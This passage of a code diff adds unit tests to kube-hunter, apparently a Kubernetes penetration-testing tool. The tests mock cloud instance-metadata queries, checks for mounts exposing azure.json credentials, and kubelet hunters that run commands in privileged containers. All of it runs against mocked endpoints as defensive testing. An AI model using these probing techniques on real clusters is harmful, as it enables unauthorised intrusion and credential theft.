MaliciousIntentViaSecureKubeletPort,
|
||||
ProveContainerLogsHandler,
|
||||
ProveRunHandler,
|
||||
ProveSystemLogs,
|
||||
ReadOnlyKubeletPortHunter,
|
||||
SecureKubeletPortHunter,
|
||||
ProveRunHandler,
|
||||
ProveContainerLogsHandler,
|
||||
ProveSystemLogs,
|
||||
)
|
||||
from kube_hunter.modules.hunting.mounts import VarLogMountHunter, ProveVarLogMount
|
||||
from kube_hunter.modules.hunting.proxy import KubeProxy, ProveProxyExposed, K8sVersionDisclosureProve
|
||||
@@ -77,6 +79,8 @@ ACTIVE_HUNTERS = {
|
||||
ProveVarLogMount,
|
||||
ProveProxyExposed,
|
||||
K8sVersionDisclosureProve,
|
||||
ProveAnonymousAuth,
|
||||
MaliciousIntentViaSecureKubeletPort,
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -6,6 +6,8 @@ from kube_hunter.core.events.types import Event, Service
|
||||
from kube_hunter.core.events import handler
|
||||
|
||||
counter = 0
|
||||
first_run = True
|
||||
|
||||
set_config(Config())
|
||||
|
||||
|
||||
@@ -19,6 +21,16 @@ class RegularEvent(Service, Event):
|
||||
Service.__init__(self, "Test Service")
|
||||
|
||||
|
||||
class AnotherRegularEvent(Service, Event):
|
||||
def __init__(self):
|
||||
Service.__init__(self, "Test Service (another)")
|
||||
|
||||
|
||||
class DifferentRegularEvent(Service, Event):
|
||||
def __init__(self):
|
||||
Service.__init__(self, "Test Service (different)")
|
||||
|
||||
|
||||
@handler.subscribe_once(OnceOnlyEvent)
|
||||
class OnceHunter(Hunter):
|
||||
def __init__(self, event):
|
||||
@@ -33,8 +45,36 @@ class RegularHunter(Hunter):
|
||||
counter += 1
|
||||
|
||||
|
||||
@handler.subscribe_many([DifferentRegularEvent, AnotherRegularEvent])
|
||||
class SmartHunter(Hunter):
|
||||
def __init__(self, events):
|
||||
global counter, first_run
|
||||
counter += 1
|
||||
|
||||
# we add an attribute on the second scan.
|
||||
# here we test that we get the latest event
|
||||
different_event = events.get_by_class(DifferentRegularEvent)
|
||||
if first_run:
|
||||
first_run = False
|
||||
assert not different_event.new_value
|
||||
else:
|
||||
assert different_event.new_value
|
||||
|
||||
|
||||
@handler.subscribe_many([DifferentRegularEvent, AnotherRegularEvent])
|
||||
class SmartHunter2(Hunter):
|
||||
def __init__(self, events):
|
||||
global counter
|
||||
counter += 1
|
||||
|
||||
# check if we can access the events
|
||||
assert events.get_by_class(DifferentRegularEvent).__class__ == DifferentRegularEvent
|
||||
assert events.get_by_class(AnotherRegularEvent).__class__ == AnotherRegularEvent
|
||||
|
||||
|
||||
def test_subscribe_mechanism():
|
||||
global counter
|
||||
counter = 0
|
||||
|
||||
# first test normal subscribe and publish works
|
||||
handler.publish_event(RegularEvent())
|
||||
@@ -43,13 +83,47 @@ def test_subscribe_mechanism():
|
||||
|
||||
time.sleep(0.02)
|
||||
assert counter == 3
|
||||
|
||||
|
||||
def test_subscribe_once_mechanism():
|
||||
global counter
|
||||
counter = 0
|
||||
|
||||
# testing the subscribe_once mechanism
|
||||
handler.publish_event(OnceOnlyEvent())
|
||||
handler.publish_event(OnceOnlyEvent())
|
||||
# testing the multiple subscription mechanism
|
||||
handler.publish_event(OnceOnlyEvent())
|
||||
|
||||
time.sleep(0.02)
|
||||
# should have been triggered once
|
||||
assert counter == 1
|
||||
counter = 0
|
||||
|
||||
handler.publish_event(OnceOnlyEvent())
|
||||
handler.publish_event(OnceOnlyEvent())
|
||||
handler.publish_event(OnceOnlyEvent())
|
||||
time.sleep(0.02)
|
||||
|
||||
assert counter == 0
|
||||
|
||||
|
||||
def test_subscribe_many_mechanism():
|
||||
global counter
|
||||
counter = 0
|
||||
|
||||
# testing the multiple subscription mechanism
|
||||
handler.publish_event(DifferentRegularEvent())
|
||||
handler.publish_event(DifferentRegularEvent())
|
||||
handler.publish_event(DifferentRegularEvent())
|
||||
handler.publish_event(DifferentRegularEvent())
|
||||
handler.publish_event(DifferentRegularEvent())
|
||||
handler.publish_event(AnotherRegularEvent())
|
||||
|
||||
time.sleep(0.02)
|
||||
# We expect SmartHunter and SmartHunter2 to be executed once. hence the counter should be 2
|
||||
assert counter == 2
|
||||
counter = 0
|
||||
|
||||
# Test using most recent event
|
||||
newer_version_event = DifferentRegularEvent()
|
||||
newer_version_event.new_value = True
|
||||
handler.publish_event(newer_version_event)
|
||||
|
||||
assert counter == 2
|
||||
|
||||
@@ -20,7 +20,9 @@ def test_ApiServer():
|
||||
m.get("https://mockOther:443", text="elephant")
|
||||
m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
|
||||
m.get(
|
||||
"https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
|
||||
"https://mockKubernetes:443/version",
|
||||
text='{"major": "1.14.10"}',
|
||||
status_code=200,
|
||||
)
|
||||
|
||||
e = Event()
|
||||
@@ -44,11 +46,15 @@ def test_ApiServerWithServiceAccountToken():
|
||||
counter = 0
|
||||
with requests_mock.Mocker() as m:
|
||||
m.get(
|
||||
"https://mockKubernetes:443", request_headers={"Authorization": "Bearer very_secret"}, text='{"code":200}',
|
||||
"https://mockKubernetes:443",
|
||||
request_headers={"Authorization": "Bearer very_secret"},
|
||||
text='{"code":200}',
|
||||
)
|
||||
m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
|
||||
m.get(
|
||||
"https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
|
||||
"https://mockKubernetes:443/version",
|
||||
text='{"major": "1.14.10"}',
|
||||
status_code=200,
|
||||
)
|
||||
m.get("https://mockOther:443", text="elephant")
|
||||
|
||||
@@ -117,7 +123,7 @@ def test_InsecureApiServer():
|
||||
|
||||
# We should only generate an ApiServer event for a response that looks like it came from a Kubernetes node
|
||||
@handler.subscribe(ApiServer)
|
||||
class testApiServer(object):
|
||||
class testApiServer:
|
||||
def __init__(self, event):
|
||||
print("Event")
|
||||
assert event.host == "mockKubernetes"
|
||||
|
||||
@@ -1,4 +1,12 @@
|
||||
# flake8: noqa: E402
|
||||
from kube_hunter.modules.discovery.hosts import (
|
||||
FromPodHostDiscovery,
|
||||
RunningAsPodEvent,
|
||||
HostScanEvent,
|
||||
HostDiscoveryHelpers,
|
||||
)
|
||||
from kube_hunter.core.types import Hunter
|
||||
from kube_hunter.core.events import handler
|
||||
import json
|
||||
import requests_mock
|
||||
import pytest
|
||||
@@ -9,19 +17,10 @@ from kube_hunter.conf import Config, get_config, set_config
|
||||
|
||||
set_config(Config())
|
||||
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.types import Hunter
|
||||
from kube_hunter.modules.discovery.hosts import (
|
||||
FromPodHostDiscovery,
|
||||
RunningAsPodEvent,
|
||||
HostScanEvent,
|
||||
HostDiscoveryHelpers,
|
||||
)
|
||||
|
||||
|
||||
class TestFromPodHostDiscovery:
|
||||
@staticmethod
|
||||
def _make_response(*subnets: List[tuple]) -> str:
|
||||
def _make_azure_response(*subnets: List[tuple]) -> str:
|
||||
return json.dumps(
|
||||
{
|
||||
"network": {
|
||||
@@ -32,6 +31,10 @@ class TestFromPodHostDiscovery:
|
||||
}
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _make_aws_response(*data: List[str]) -> str:
|
||||
return "\n".join(data)
|
||||
|
||||
def test_is_azure_pod_request_fail(self):
|
||||
f = FromPodHostDiscovery(RunningAsPodEvent())
|
||||
|
||||
@@ -47,12 +50,125 @@ class TestFromPodHostDiscovery:
|
||||
with requests_mock.Mocker() as m:
|
||||
m.get(
|
||||
"http://169.254.169.254/metadata/instance?api-version=2017-08-01",
|
||||
text=TestFromPodHostDiscovery._make_response(("3.4.5.6", "255.255.255.252")),
|
||||
text=TestFromPodHostDiscovery._make_azure_response(("3.4.5.6", "255.255.255.252")),
|
||||
)
|
||||
result = f.is_azure_pod()
|
||||
|
||||
assert result
|
||||
|
||||
def test_is_aws_pod_v1_request_fail(self):
|
||||
f = FromPodHostDiscovery(RunningAsPodEvent())
|
||||
|
||||
with requests_mock.Mocker() as m:
|
||||
m.get("http://169.254.169.254/latest/meta-data/", status_code=404)
|
||||
result = f.is_aws_pod_v1()
|
||||
|
||||
assert not result
|
||||
|
||||
def test_is_aws_pod_v1_success(self):
|
||||
f = FromPodHostDiscovery(RunningAsPodEvent())
|
||||
|
||||
with requests_mock.Mocker() as m:
|
||||
m.get(
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
text=TestFromPodHostDiscovery._make_aws_response(
|
||||
"\n".join(
|
||||
(
|
||||
"ami-id",
|
||||
"ami-launch-index",
|
||||
"ami-manifest-path",
|
||||
"block-device-mapping/",
|
||||
"events/",
|
||||
"hostname",
|
||||
"iam/",
|
||||
"instance-action",
|
||||
"instance-id",
|
||||
"instance-type",
|
||||
"local-hostname",
|
||||
"local-ipv4",
|
||||
"mac",
|
||||
"metrics/",
|
||||
"network/",
|
||||
"placement/",
|
||||
"profile",
|
||||
"public-hostname",
|
||||
"public-ipv4",
|
||||
"public-keys/",
|
||||
"reservation-id",
|
||||
"security-groups",
|
||||
"services/",
|
||||
)
|
||||
),
|
||||
),
|
||||
)
|
||||
result = f.is_aws_pod_v1()
|
||||
|
||||
assert result
|
||||
|
||||
def test_is_aws_pod_v2_request_fail(self):
|
||||
f = FromPodHostDiscovery(RunningAsPodEvent())
|
||||
|
||||
with requests_mock.Mocker() as m:
|
||||
m.put(
|
||||
"http://169.254.169.254/latest/api/token/",
|
||||
headers={"X-aws-ec2-metatadata-token-ttl-seconds": "21600"},
|
||||
status_code=404,
|
||||
)
|
||||
m.get(
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
headers={"X-aws-ec2-metatadata-token": "token"},
|
||||
status_code=404,
|
||||
)
|
||||
result = f.is_aws_pod_v2()
|
||||
|
||||
assert not result
|
||||
|
||||
def test_is_aws_pod_v2_success(self):
|
||||
f = FromPodHostDiscovery(RunningAsPodEvent())
|
||||
|
||||
with requests_mock.Mocker() as m:
|
||||
m.put(
|
||||
"http://169.254.169.254/latest/api/token/",
|
||||
headers={"X-aws-ec2-metatadata-token-ttl-seconds": "21600"},
|
||||
text=TestFromPodHostDiscovery._make_aws_response("token"),
|
||||
)
|
||||
m.get(
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
headers={"X-aws-ec2-metatadata-token": "token"},
|
||||
text=TestFromPodHostDiscovery._make_aws_response(
|
||||
"\n".join(
|
||||
(
|
||||
"ami-id",
|
||||
"ami-launch-index",
|
||||
"ami-manifest-path",
|
||||
"block-device-mapping/",
|
||||
"events/",
|
||||
"hostname",
|
||||
"iam/",
|
||||
"instance-action",
|
||||
"instance-id",
|
||||
"instance-type",
|
||||
"local-hostname",
|
||||
"local-ipv4",
|
||||
"mac",
|
||||
"metrics/",
|
||||
"network/",
|
||||
"placement/",
|
||||
"profile",
|
||||
"public-hostname",
|
||||
"public-ipv4",
|
||||
"public-keys/",
|
||||
"reservation-id",
|
||||
"security-groups",
|
||||
"services/",
|
||||
)
|
||||
),
|
||||
),
|
||||
)
|
||||
result = f.is_aws_pod_v2()
|
||||
|
||||
assert result
|
||||
|
||||
def test_execute_scan_cidr(self):
|
||||
set_config(Config(cidr="1.2.3.4/30"))
|
||||
f = FromPodHostDiscovery(RunningAsPodEvent())
|
||||
@@ -90,7 +206,7 @@ class TestDiscoveryUtils:
|
||||
def test_generate_hosts_valid_ignore():
|
||||
remove = IPAddress("192.168.1.8")
|
||||
scan = "192.168.1.0/24"
|
||||
expected = set(ip for ip in IPNetwork(scan) if ip != remove)
|
||||
expected = {ip for ip in IPNetwork(scan) if ip != remove}
|
||||
|
||||
actual = set(HostDiscoveryHelpers.generate_hosts([scan, f"!{str(remove)}"]))
|
||||
|
||||
|
||||
30
tests/discovery/test_k8s.py
Normal file
30
tests/discovery/test_k8s.py
Normal file
@@ -0,0 +1,30 @@
|
||||
from kube_hunter.conf import Config, set_config
|
||||
|
||||
from kube_hunter.modules.discovery.kubernetes_client import list_all_k8s_cluster_nodes
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
set_config(Config())
|
||||
|
||||
|
||||
def test_client_yields_ips():
|
||||
client = MagicMock()
|
||||
response = MagicMock()
|
||||
client.list_node.return_value = response
|
||||
response.items = [MagicMock(), MagicMock()]
|
||||
response.items[0].status.addresses = [MagicMock(), MagicMock()]
|
||||
response.items[0].status.addresses[0].address = "127.0.0.1"
|
||||
response.items[0].status.addresses[1].address = "127.0.0.2"
|
||||
response.items[1].status.addresses = [MagicMock()]
|
||||
response.items[1].status.addresses[0].address = "127.0.0.3"
|
||||
|
||||
with patch("kubernetes.config.load_incluster_config") as m:
|
||||
output = list(list_all_k8s_cluster_nodes(client=client))
|
||||
m.assert_called_once()
|
||||
|
||||
assert output == ["127.0.0.1", "127.0.0.2", "127.0.0.3"]
|
||||
|
||||
|
||||
def test_client_uses_kubeconfig():
|
||||
with patch("kubernetes.config.load_kube_config") as m:
|
||||
list(list_all_k8s_cluster_nodes(kube_config="/location", client=MagicMock()))
|
||||
m.assert_called_once_with(config_file="/location")
|
||||
49
tests/hunting/test_aks.py
Normal file
49
tests/hunting/test_aks.py
Normal file
@@ -0,0 +1,49 @@
|
||||
# flake8: noqa: E402
|
||||
import requests_mock
|
||||
|
||||
from kube_hunter.conf import Config, set_config
|
||||
|
||||
import json
|
||||
|
||||
set_config(Config())
|
||||
|
||||
from kube_hunter.modules.hunting.kubelet import ExposedPodsHandler
|
||||
from kube_hunter.modules.hunting.aks import AzureSpnHunter
|
||||
|
||||
|
||||
def test_AzureSpnHunter():
|
||||
e = ExposedPodsHandler(pods=[])
|
||||
pod_template = '{{"items":[ {{"apiVersion":"v1","kind":"Pod","metadata":{{"name":"etc","namespace":"default"}},"spec":{{"containers":[{{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{{"mountPath":"/mp","name":"v"}}]}}],"volumes":[{{"hostPath":{{"path":"{}"}},"name":"v"}}]}}}} ]}}'
|
||||
|
||||
bad_paths = ["/", "/etc", "/etc/", "/etc/kubernetes", "/etc/kubernetes/azure.json"]
|
||||
good_paths = ["/yo", "/etc/yo", "/etc/kubernetes/yo.json"]
|
||||
|
||||
for p in bad_paths:
|
||||
e.pods = json.loads(pod_template.format(p))["items"]
|
||||
h = AzureSpnHunter(e)
|
||||
c = h.get_key_container()
|
||||
assert c
|
||||
|
||||
for p in good_paths:
|
||||
e.pods = json.loads(pod_template.format(p))["items"]
|
||||
h = AzureSpnHunter(e)
|
||||
c = h.get_key_container()
|
||||
assert c == None
|
||||
|
||||
pod_no_volume_mounts = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}],"volumes":[{"hostPath":{"path":"/whatever"},"name":"v"}]}} ]}'
|
||||
e.pods = json.loads(pod_no_volume_mounts)["items"]
|
||||
h = AzureSpnHunter(e)
|
||||
c = h.get_key_container()
|
||||
assert c == None
|
||||
|
||||
pod_no_volumes = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}]}} ]}'
|
||||
e.pods = json.loads(pod_no_volumes)["items"]
|
||||
h = AzureSpnHunter(e)
|
||||
c = h.get_key_container()
|
||||
assert c == None
|
||||
|
||||
pod_other_volume = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{"mountPath":"/mp","name":"v"}]}],"volumes":[{"emptyDir":{},"name":"v"}]}} ]}'
|
||||
e.pods = json.loads(pod_other_volume)["items"]
|
||||
h = AzureSpnHunter(e)
|
||||
c = h.get_key_container()
|
||||
assert c == None
|
||||
@@ -1,4 +1,5 @@
|
||||
# flake8: noqa: E402
|
||||
from kube_hunter.core.types.vulnerabilities import AccessK8sApiServerTechnique
|
||||
import requests_mock
|
||||
import time
|
||||
|
||||
@@ -21,7 +22,7 @@ from kube_hunter.modules.hunting.apiserver import (
|
||||
from kube_hunter.modules.hunting.apiserver import ApiServerPassiveHunterFinished
|
||||
from kube_hunter.modules.hunting.apiserver import CreateANamespace, DeleteANamespace
|
||||
from kube_hunter.modules.discovery.apiserver import ApiServer
|
||||
from kube_hunter.core.types import UnauthenticatedAccess, InformationDisclosure
|
||||
from kube_hunter.core.types import ExposedSensitiveInterfacesTechnique, AccessK8sApiServerTechnique
|
||||
from kube_hunter.core.events import handler
|
||||
|
||||
counter = 0
|
||||
@@ -56,7 +57,8 @@ def test_AccessApiServer():
|
||||
with requests_mock.Mocker() as m:
|
||||
m.get("https://mockKubernetes:443/api", text="{}")
|
||||
m.get(
|
||||
"https://mockKubernetes:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
|
||||
"https://mockKubernetes:443/api/v1/namespaces",
|
||||
text='{"items":[{"metadata":{"name":"hello"}}]}',
|
||||
)
|
||||
m.get(
|
||||
"https://mockKubernetes:443/api/v1/pods",
|
||||
@@ -64,10 +66,12 @@ def test_AccessApiServer():
|
||||
{"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
|
||||
)
|
||||
m.get(
|
||||
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
|
||||
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles",
|
||||
status_code=403,
|
||||
)
|
||||
m.get(
|
||||
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text='{"items":[]}',
|
||||
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
|
||||
text='{"items":[]}',
|
||||
)
|
||||
m.get(
|
||||
"https://mockkubernetes:443/version",
|
||||
@@ -91,7 +95,8 @@ def test_AccessApiServer():
|
||||
# TODO check that these responses reflect what Kubernetes does
|
||||
m.get("https://mocktoken:443/api", text="{}")
|
||||
m.get(
|
||||
"https://mocktoken:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
|
||||
"https://mocktoken:443/api/v1/namespaces",
|
||||
text='{"items":[{"metadata":{"name":"hello"}}]}',
|
||||
)
|
||||
m.get(
|
||||
"https://mocktoken:443/api/v1/pods",
|
||||
@@ -99,7 +104,8 @@ def test_AccessApiServer():
|
||||
{"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
|
||||
)
|
||||
m.get(
|
||||
"https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
|
||||
"https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles",
|
||||
status_code=403,
|
||||
)
|
||||
m.get(
|
||||
"https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
|
||||
@@ -117,7 +123,7 @@ def test_AccessApiServer():
|
||||
|
||||
|
||||
@handler.subscribe(ListNamespaces)
|
||||
class test_ListNamespaces(object):
|
||||
class test_ListNamespaces:
|
||||
def __init__(self, event):
|
||||
print("ListNamespaces")
|
||||
assert event.evidence == ["hello"]
|
||||
@@ -130,7 +136,7 @@ class test_ListNamespaces(object):
|
||||
|
||||
|
||||
@handler.subscribe(ListPodsAndNamespaces)
|
||||
class test_ListPodsAndNamespaces(object):
|
||||
class test_ListPodsAndNamespaces:
|
||||
def __init__(self, event):
|
||||
print("ListPodsAndNamespaces")
|
||||
assert len(event.evidence) == 2
|
||||
@@ -153,7 +159,7 @@ class test_ListPodsAndNamespaces(object):
|
||||
|
||||
# Should never see this because the API call in the test returns 403 status code
|
||||
@handler.subscribe(ListRoles)
|
||||
class test_ListRoles(object):
|
||||
class test_ListRoles:
|
||||
def __init__(self, event):
|
||||
print("ListRoles")
|
||||
assert 0
|
||||
@@ -164,7 +170,7 @@ class test_ListRoles(object):
|
||||
# Should only see this when we have a token because the API call returns an empty list of items
|
||||
# in the test where we have no token
|
||||
@handler.subscribe(ListClusterRoles)
|
||||
class test_ListClusterRoles(object):
|
||||
class test_ListClusterRoles:
|
||||
def __init__(self, event):
|
||||
print("ListClusterRoles")
|
||||
assert event.auth_token == "so-secret"
|
||||
@@ -173,20 +179,20 @@ class test_ListClusterRoles(object):
|
||||
|
||||
|
||||
@handler.subscribe(ServerApiAccess)
|
||||
class test_ServerApiAccess(object):
|
||||
class test_ServerApiAccess:
|
||||
def __init__(self, event):
|
||||
print("ServerApiAccess")
|
||||
if event.category == UnauthenticatedAccess:
|
||||
if event.category == ExposedSensitiveInterfacesTechnique:
|
||||
assert event.auth_token is None
|
||||
else:
|
||||
assert event.category == InformationDisclosure
|
||||
assert event.category == AccessK8sApiServerTechnique
|
||||
assert event.auth_token == "so-secret"
|
||||
global counter
|
||||
counter += 1
|
||||
|
||||
|
||||
@handler.subscribe(ApiServerPassiveHunterFinished)
|
||||
class test_PassiveHunterFinished(object):
|
||||
class test_PassiveHunterFinished:
|
||||
def __init__(self, event):
|
||||
print("PassiveHunterFinished")
|
||||
assert event.namespaces == ["hello"]
|
||||
@@ -228,10 +234,12 @@ def test_AccessApiServerActive():
|
||||
)
|
||||
m.post("https://mockKubernetes:443/api/v1/clusterroles", text="{}")
|
||||
m.post(
|
||||
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text="{}",
|
||||
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
|
||||
text="{}",
|
||||
)
|
||||
m.post(
|
||||
"https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods", text="{}",
|
||||
"https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods",
|
||||
text="{}",
|
||||
)
|
||||
m.post(
|
||||
"https://mockkubernetes:443" "/apis/rbac.authorization.k8s.io/v1/namespaces/hello-namespace/roles",
|
||||
@@ -269,12 +277,12 @@ def test_AccessApiServerActive():
|
||||
|
||||
|
||||
@handler.subscribe(CreateANamespace)
|
||||
class test_CreateANamespace(object):
|
||||
class test_CreateANamespace:
|
||||
def __init__(self, event):
|
||||
assert "abcde" in event.evidence
|
||||
|
||||
|
||||
@handler.subscribe(DeleteANamespace)
|
||||
class test_DeleteANamespace(object):
|
||||
class test_DeleteANamespace:
|
||||
def __init__(self, event):
|
||||
assert "2019-02-26" in event.evidence
|
||||
|
||||
@@ -37,6 +37,6 @@ rceJuGsnJEQ=
|
||||
|
||||
|
||||
@handler.subscribe(CertificateEmail)
|
||||
class test_CertificateEmail(object):
|
||||
class test_CertificateEmail:
|
||||
def __init__(self, event):
|
||||
assert event.email == b"build@nodejs.org0"
|
||||
|
||||
@@ -41,7 +41,7 @@ def test_K8sCveHunter():
|
||||
|
||||
|
||||
@handler.subscribe(ServerApiVersionEndPointAccessPE)
|
||||
class test_CVE_2018_1002105(object):
|
||||
class test_CVE_2018_1002105:
|
||||
def __init__(self, event):
|
||||
global cve_counter
|
||||
cve_counter += 1
|
||||
|
||||
721
tests/hunting/test_kubelet.py
Normal file
721
tests/hunting/test_kubelet.py
Normal file
@@ -0,0 +1,721 @@
|
||||
import requests
|
||||
import requests_mock
|
||||
import urllib.parse
|
||||
import uuid
|
||||
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.modules.hunting.kubelet import (
|
||||
AnonymousAuthEnabled,
|
||||
ExposedExistingPrivilegedContainersViaSecureKubeletPort,
|
||||
ProveAnonymousAuth,
|
||||
MaliciousIntentViaSecureKubeletPort,
|
||||
)
|
||||
|
||||
counter = 0
|
||||
pod_list_with_privileged_container = """{
|
||||
"kind": "PodList",
|
||||
"apiVersion": "v1",
|
||||
"metadata": {},
|
||||
"items": [
|
||||
{
|
||||
"metadata": {
|
||||
"name": "kube-hunter-privileged-deployment-86dc79f945-sjjps",
|
||||
"namespace": "kube-hunter-privileged"
|
||||
},
|
||||
"spec": {
|
||||
"containers": [
|
||||
{
|
||||
"name": "ubuntu",
|
||||
"securityContext": {
|
||||
{security_context_definition_to_test}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
"""
|
||||
service_account_token = "eyJhbGciOiJSUzI1NiIsImtpZCI6IlR0YmxoMXh..."
|
||||
env = """PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
HOSTNAME=kube-hunter-privileged-deployment-86dc79f945-sjjps
|
||||
KUBERNETES_SERVICE_PORT=443
|
||||
KUBERNETES_SERVICE_PORT_HTTPS=443
|
||||
KUBERNETES_PORT=tcp://10.96.0.1:443
|
||||
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
|
||||
KUBERNETES_PORT_443_TCP_PROTO=tcp
|
||||
KUBERNETES_PORT_443_TCP_PORT=443
|
||||
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
|
||||
KUBERNETES_SERVICE_HOST=10.96.0.1
|
||||
HOME=/root"""
|
||||
exposed_privileged_containers = [
|
||||
{
|
||||
"container_name": "ubuntu",
|
||||
"environment_variables": env,
|
||||
"pod_id": "kube-hunter-privileged-deployment-86dc79f945-sjjps",
|
||||
"pod_namespace": "kube-hunter-privileged",
|
||||
"service_account_token": service_account_token,
|
||||
}
|
||||
]
|
||||
cat_proc_cmdline = "BOOT_IMAGE=/boot/bzImage root=LABEL=Mock loglevel=3 console=ttyS0"
|
||||
number_of_rm_attempts = 1
|
||||
number_of_umount_attempts = 1
|
||||
number_of_rmdir_attempts = 1
|
||||
|
||||
|
||||
def create_test_event_type_one():
|
||||
anonymous_auth_enabled_event = AnonymousAuthEnabled()
|
||||
|
||||
anonymous_auth_enabled_event.host = "localhost"
|
||||
anonymous_auth_enabled_event.session = requests.Session()
|
||||
|
||||
return anonymous_auth_enabled_event
|
||||
|
||||
|
||||
def create_test_event_type_two():
|
||||
exposed_existing_privileged_containers_via_secure_kubelet_port_event = (
|
||||
ExposedExistingPrivilegedContainersViaSecureKubeletPort(exposed_privileged_containers)
|
||||
)
|
||||
exposed_existing_privileged_containers_via_secure_kubelet_port_event.host = "localhost"
|
||||
exposed_existing_privileged_containers_via_secure_kubelet_port_event.session = requests.Session()
|
||||
|
||||
return exposed_existing_privileged_containers_via_secure_kubelet_port_event
|
||||
|
||||
|
||||
def test_get_request_valid_url():
|
||||
class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/mock"
|
||||
|
||||
session_mock.get(url, text="mock")
|
||||
|
||||
return_value = class_being_tested.get_request(url)
|
||||
|
||||
assert return_value == "mock"
|
||||
|
||||
|
||||
def test_get_request_invalid_url():
|
||||
class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/[mock]"
|
||||
|
||||
session_mock.get(url, exc=requests.exceptions.InvalidURL)
|
||||
|
||||
return_value = class_being_tested.get_request(url)
|
||||
|
||||
assert return_value.startswith("Exception: ")
|
||||
|
||||
|
||||
def post_request(url, params, expected_return_value, exception=None):
|
||||
class_being_tested_one = ProveAnonymousAuth(create_test_event_type_one())
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested_one.event.session) as session_mock:
|
||||
mock_params = {"text": "mock"} if not exception else {"exc": exception}
|
||||
session_mock.post(url, **mock_params)
|
||||
|
||||
return_value = class_being_tested_one.post_request(url, params)
|
||||
|
||||
assert return_value == expected_return_value
|
||||
|
||||
class_being_tested_two = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two())
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested_two.event.session) as session_mock:
|
||||
mock_params = {"text": "mock"} if not exception else {"exc": exception}
|
||||
session_mock.post(url, **mock_params)
|
||||
|
||||
return_value = class_being_tested_two.post_request(url, params)
|
||||
|
||||
assert return_value == expected_return_value
|
||||
|
||||
|
||||
def test_post_request_valid_url_with_parameters():
|
||||
url = "https://localhost:10250/mock?cmd=ls"
|
||||
params = {"cmd": "ls"}
|
||||
post_request(url, params, expected_return_value="mock")
|
||||
|
||||
|
||||
def test_post_request_valid_url_without_parameters():
|
||||
url = "https://localhost:10250/mock"
|
||||
params = {}
|
||||
post_request(url, params, expected_return_value="mock")
|
||||
|
||||
|
||||
def test_post_request_invalid_url_with_parameters():
|
||||
url = "https://localhost:10250/mock?cmd=ls"
|
||||
params = {"cmd": "ls"}
|
||||
post_request(url, params, expected_return_value="Exception: ", exception=requests.exceptions.InvalidURL)
|
||||
|
||||
|
||||
def test_post_request_invalid_url_without_parameters():
|
||||
url = "https://localhost:10250/mock"
|
||||
params = {}
|
||||
post_request(url, params, expected_return_value="Exception: ", exception=requests.exceptions.InvalidURL)
|
||||
|
||||
|
||||
def test_has_no_exception_result_with_exception():
|
||||
mock_result = "Exception: Mock."
|
||||
|
||||
return_value = ProveAnonymousAuth.has_no_exception(mock_result)
|
||||
|
||||
assert return_value is False
|
||||
|
||||
|
||||
def test_has_no_exception_result_without_exception():
|
||||
mock_result = "Mock."
|
||||
|
||||
return_value = ProveAnonymousAuth.has_no_exception(mock_result)
|
||||
|
||||
assert return_value is True
|
||||
|
||||
|
||||
def test_has_no_error_result_with_error():
|
||||
mock_result = "Mock exited with error."
|
||||
|
||||
return_value = ProveAnonymousAuth.has_no_error(mock_result)
|
||||
|
||||
assert return_value is False
|
||||
|
||||
|
||||
def test_has_no_error_result_without_error():
|
||||
mock_result = "Mock."
|
||||
|
||||
return_value = ProveAnonymousAuth.has_no_error(mock_result)
|
||||
|
||||
assert return_value is True
|
||||
|
||||
|
||||
def test_has_no_error_nor_exception_result_without_exception_and_without_error():
|
||||
mock_result = "Mock."
|
||||
|
||||
